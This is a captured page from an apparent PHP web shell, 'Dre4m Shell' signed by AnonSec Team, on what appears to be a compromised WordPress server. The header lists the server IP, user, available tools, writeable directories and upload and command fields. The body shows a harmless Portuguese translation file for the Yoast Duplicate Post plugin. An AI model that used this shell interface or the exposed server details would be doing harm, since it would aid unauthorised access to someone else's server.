Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.141.47.139
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/duplicate-post-pt_BR.po
# Translation of Plugins - Yoast Duplicate Post - Stable (latest release) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - Yoast Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-10-03 14:00:17+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - Yoast Duplicate Post - Stable (latest release)\n"

#: duplicate-post-admin.php:289
msgid "Subscribe"
msgstr "Assinar"

#: duplicate-post-admin.php:222
msgid "Compatibility with WP 5.5 + various fixes"
msgstr "Compatibilidade com o WordPress 5.5 + várias correções"

#: duplicate-post-options.php:775
msgid "Update notice"
msgstr "Aviso de atualização"

#. translators: 1: Code start tag, 2: Code closing tag, 3: Link start tag to
#. the template tag documentation, 4: Link closing tag.
#: duplicate-post-options.php:725
msgid "You can also use the template tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMore info on the template tag%4$s."
msgstr "Você também pode usar a tag %1$sduplicate_post_clone_post_link( $link, $before, $after, $id )%2$s. %3$sMais informações sobre a tag do modelo%4$s."

#. translators: %s: Yoast
#: duplicate-post-options.php:51 duplicate-post-options.php:95
msgid "%s Duplicate Post settings"
msgstr "%s Configurações do Duplicate Post"

#. translators: %s: Post title.
#: duplicate-post-admin.php:475
msgid "New draft of “%s”"
msgstr "Novo rascunho de “%s”"

#: duplicate-post-admin.php:470
msgctxt "verb"
msgid "Clone"
msgstr "Clonar"

#. translators: $s: link to edit or view the original item
#: duplicate-post-admin.php:435
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\">%s</span>"
msgstr "O item original do qual foi copiado é: <span class=\"duplicate_post_original_item_title_span\">%s</span>"

#: duplicate-post-admin.php:368
msgid "The original item this was copied from is: <span class=\"duplicate_post_original_item_title_span\"></span>"
msgstr "O item original do qual foi copiado é: <span class=\"duplicate_post_original_item_title_span\"></span>"

#: duplicate-post-admin.php:364 duplicate-post-admin.php:429
msgid "Delete reference to original item."
msgstr "Excluir a referência ao item original."

#: duplicate-post-admin.php:278
msgid "Email Address"
msgstr "Endereço de e-mail"

#. translators: %1$s: Yoast
#: duplicate-post-admin.php:275
msgid "If you want to stay up to date about all the exciting developments around Duplicate Post, subscribe to the %1$s newsletter!"
msgstr "Se você deseja manter-se atualizado sobre o desenvolvimento do Duplicate Post, assine a newsletter %1$s!"

#. Author URI of the plugin
msgid "https://yoast.com"
msgstr "https://yoast.com"

#. Author of the plugin
msgid "Enrico Battocchi & Team Yoast"
msgstr "Enrico Battocchi & Team Yoast"

#. Plugin URI of the plugin
msgid "https://yoast.com/wordpress/plugins/duplicate-post/"
msgstr "https://yoast.com/wordpress/plugins/duplicate-post/"

#. Plugin Name of the plugin
msgid "Yoast Duplicate Post"
msgstr "Yoast Duplicate Post"

#. translators: %s: Post title.
#: duplicate-post-admin.php:468
msgid "Clone &#8220;%s&#8221;"
msgstr "Clonar &#8220;%s&#8221;"

#. translators: Original item link (to view or edit) or title.
#: duplicate-post-admin.php:393
msgid "Original: %s"
msgstr "Original: %s"

#: duplicate-post-admin.php:330
msgid "Original item"
msgstr "Item original"

#: duplicate-post-options.php:771
msgid "After the title in the Post list"
msgstr "Após o título na lista de post"

#: duplicate-post-options.php:761
msgid "you'll also be able to delete the reference to the original item with a checkbox in Quick Edit"
msgstr "você também poderá excluir a referência ao item original com uma caixa de seleção em Edição rápida"

#: duplicate-post-options.php:760
msgid "In a column in the Post list"
msgstr "Em uma coluna na lista de post"

#: duplicate-post-options.php:749
msgid "you'll also be able to delete the reference to the original item with a checkbox"
msgstr "você também poderá excluir a referência ao item original com uma caixa de seleção"

#: duplicate-post-options.php:748
msgid "In a metabox in the Edit screen [Classic editor]"
msgstr "Em uma metabox na tela Editar [Editor clássico]"

#: duplicate-post-options.php:736
msgid "Show original item:"
msgstr "Mostrar item original:"

#: duplicate-post-options.php:287
msgid "Settings sections"
msgstr "Seções de configurações"

#: duplicate-post-admin.php:899
msgid "Documentation for Duplicate Post"
msgstr "Documentação do Duplicate Post"

#: duplicate-post.php:60
msgid "Settings for Duplicate Post"
msgstr "Configurações do Duplicate Post"

#. translators: %s: post title
#: duplicate-post-common.php:131
msgid "View &#8220;%s&#8221;"
msgstr "Ver &#8220;%s&#8221;"

#: duplicate-post-common.php:122
msgid "Preview &#8220;%s&#8221;"
msgstr "Pré-visualizar &#8220;%s&#8221;"

#: duplicate-post-common.php:112
msgid "Edit &#8220;%s&#8221;"
msgstr "Editar &#8220;%s&#8221;"

#. translators: %1$s: Yoast, %2$s: version number
#: duplicate-post-admin.php:221
msgid "What's new in %1$s Duplicate Post version %2$s:"
msgstr "O que há de novo no %1$s Duplicate Post versão %2$s:"

#: duplicate-post-options.php:702
msgid "now works on Edit screen too - check this option to use with Gutenberg enabled"
msgstr "Agora também funciona na tela de edição - conferir esta opção para usar com o Gutenberg ativado."

#: duplicate-post-admin.php:521
msgid "Current user is not allowed to copy posts."
msgstr "Usuário atual não tem permissão para copiar posts."

#: duplicate-post-admin.php:224
msgid "Serving the WordPress community since November 2007."
msgstr "Servindo à comunidade WordPress desde novembro de 2007."

#: duplicate-post-options.php:437
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "você provavelmente deixará isto desmarcado, a não ser que tenha requerimentos muito especiais"

#: duplicate-post-admin.php:899
msgid "Documentation"
msgstr "Documentação"

#: duplicate-post-options.php:788
msgid "Show update notice"
msgstr "Mostrar alerta de atualização"

#: duplicate-post-options.php:716
msgid "Bulk Actions"
msgstr "Ações em massa"

#: duplicate-post-options.php:528
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr "Você pode usar um * para substituir caracteres alfanuméricos ou sublinhados. Exemplo: campo*"

#: duplicate-post-options.php:466
msgid "Menu order"
msgstr "Ordem do menu"

#: duplicate-post-options.php:417
msgid "Author"
msgstr "Autor"

#: duplicate-post-options.php:408
msgctxt "post format"
msgid "Format"
msgstr "Formato"

#: duplicate-post-options.php:399
msgid "Template"
msgstr "Modelo"

#: duplicate-post-options.php:390
msgid "Featured Image"
msgstr "Imagem destacada"

#. translators: %s: number
#: duplicate-post-admin.php:910
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s item copiado."
msgstr[1] "%s itens copiados."

#: duplicate-post-options.php:648 duplicate-post-options.php:720
msgid "Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements."
msgstr "Se os links são exibidos para os tipos de posts personalizados registrados por temas ou plugins vai depender do uso de elementos padrões da interface do usuário do WordPress."

#: duplicate-post-options.php:647
msgid "Select the post types you want the plugin to be enabled for."
msgstr "Selecione os tipos de posts para os quais você deseja que o plugin seja habilitado."

#: duplicate-post-options.php:624 duplicate-post-options.php:627
msgid "Enable for these post types"
msgstr "Ativar para estes tipos de posts"

#: duplicate-post-options.php:617
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors."
msgstr "Senhas e conteúdos de posts protegidos por senhas podem tornar-se visíveis a usuários e visitantes indesejados."

#: duplicate-post-options.php:568
msgid "Show/hide private taxonomies"
msgstr "Mostrar/esconder taxonomias privadas"

#: duplicate-post-options.php:511
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "Adicione este número para a ordem original do menu (em branco ou zero para reter o valor)"

#: duplicate-post-options.php:503
msgid "Increase menu order by"
msgstr "Aumente a ordem de menu por"

#: duplicate-post-options.php:457
msgid "except pingbacks and trackbacks"
msgstr "exceto pingbacks e trackbacks"

#: duplicate-post-options.php:456
msgid "Comments"
msgstr "Comentários"

#: duplicate-post-options.php:446
msgid "Children"
msgstr "Filhos"

#: duplicate-post-options.php:436
msgid "Attachments"
msgstr "Anexos"

#: duplicate-post-options.php:426
msgid "Password"
msgstr "Senha"

#: duplicate-post-options.php:381
msgid "Content"
msgstr "Conteúdo"

#: duplicate-post-options.php:372
msgid "Excerpt"
msgstr "Resumo"

#: duplicate-post-options.php:363
msgid "Slug"
msgstr "Slug"

#: duplicate-post-options.php:354
msgid "Status"
msgstr "Status"

#: duplicate-post-options.php:345
msgid "Date"
msgstr "Data"

#: duplicate-post-options.php:336
msgid "Title"
msgstr "Título"

#: duplicate-post-options.php:324 duplicate-post-options.php:327
msgid "Post/page elements to copy"
msgstr "Elementos a copiar do post/página"

#: duplicate-post-options.php:312 duplicate-post-options.php:661
msgid "Display"
msgstr "Exibição"

#: duplicate-post-options.php:303 duplicate-post-options.php:581
msgid "Permissions"
msgstr "Permissões"

#: duplicate-post-options.php:294 duplicate-post-options.php:321
msgid "What to copy"
msgstr "O que copiar"

#: duplicate-post-admin.php:784
msgid "Copy features for this post type are not enabled in options page"
msgstr "Os recursos de cópia para esse tipo de post não estão habilitados na página de opções"

#: duplicate-post-admin.php:227
msgid "Dismiss this notice."
msgstr "Dispensar este aviso."

#. Description of the plugin
msgid "Clone posts and pages."
msgstr "Clonar posts e páginas."

#: duplicate-post.php:61
msgid "Settings"
msgstr "Configurações"

#: duplicate-post-options.php:795
msgid "Save changes"
msgstr "Salvar alterações"

#: duplicate-post-options.php:701
msgid "Admin bar"
msgstr "Barra de administração"

#: duplicate-post-options.php:689
msgid "Edit screen"
msgstr "Tela de edição"

#: duplicate-post-options.php:678
msgid "Post list"
msgstr "Lista do post"

#: duplicate-post-options.php:664 duplicate-post-options.php:667
msgid "Show links in"
msgstr "Exibir links em"

#: duplicate-post-options.php:616
msgid "Warning: users will be able to copy all posts, even those of other users."
msgstr "Atenção: Os usuários serão capazes de copiar todos os posts, mesmo aqueles de outros usuários."

#: duplicate-post-options.php:585 duplicate-post-options.php:588
msgid "Roles allowed to copy"
msgstr "Funções autorizadas a copiar"

#: duplicate-post-options.php:496
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "Sufixo a ser adicionado após o título. Exemplo: \"(dup)\" (deixe em branco para nenhum sufixo)"

#: duplicate-post-options.php:488
msgid "Title suffix"
msgstr "Sufixo do título"

#: duplicate-post-options.php:481
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "Prefixo para ser adicionado antes do título. Exemplo: \"Cópia de\" (deixe em branco para nenhum prefixo)"

#: duplicate-post-options.php:473
msgid "Title prefix"
msgstr "Prefixo do título"

#: duplicate-post-options.php:534 duplicate-post-options.php:538
msgid "Do not copy these taxonomies"
msgstr "Não copiar estas taxonomias"

#: duplicate-post-options.php:527
msgid "Comma-separated list of meta fields that must not be copied."
msgstr "Lista separada por vírgulas dos campos meta que não devem ser copiados."

#: duplicate-post-options.php:518
msgid "Do not copy these fields"
msgstr "Não copie estes campos"

#: duplicate-post-options.php:52
msgid "Duplicate Post"
msgstr "Duplicate Post"

#: duplicate-post-admin.php:565
msgid "Copy creation failed, could not find original:"
msgstr "A criação da cópia falhou, o original não foi encontrado:"

#: duplicate-post-admin.php:525
msgid "No post to duplicate has been supplied!"
msgstr "Nenhum post foi fornecido para duplicação!"

#: duplicate-post-admin.php:477
msgid "New Draft"
msgstr "Novo rascunho"

#: duplicate-post-admin.php:494 duplicate-post-common.php:78
#: duplicate-post-common.php:170 duplicate-post-common.php:182
msgid "Copy to a new draft"
msgstr "Copie para um novo rascunho"

#: duplicate-post-admin.php:939
msgid "Clone"
msgstr "Clonar"

Anon7 - 2022
AnonSec Team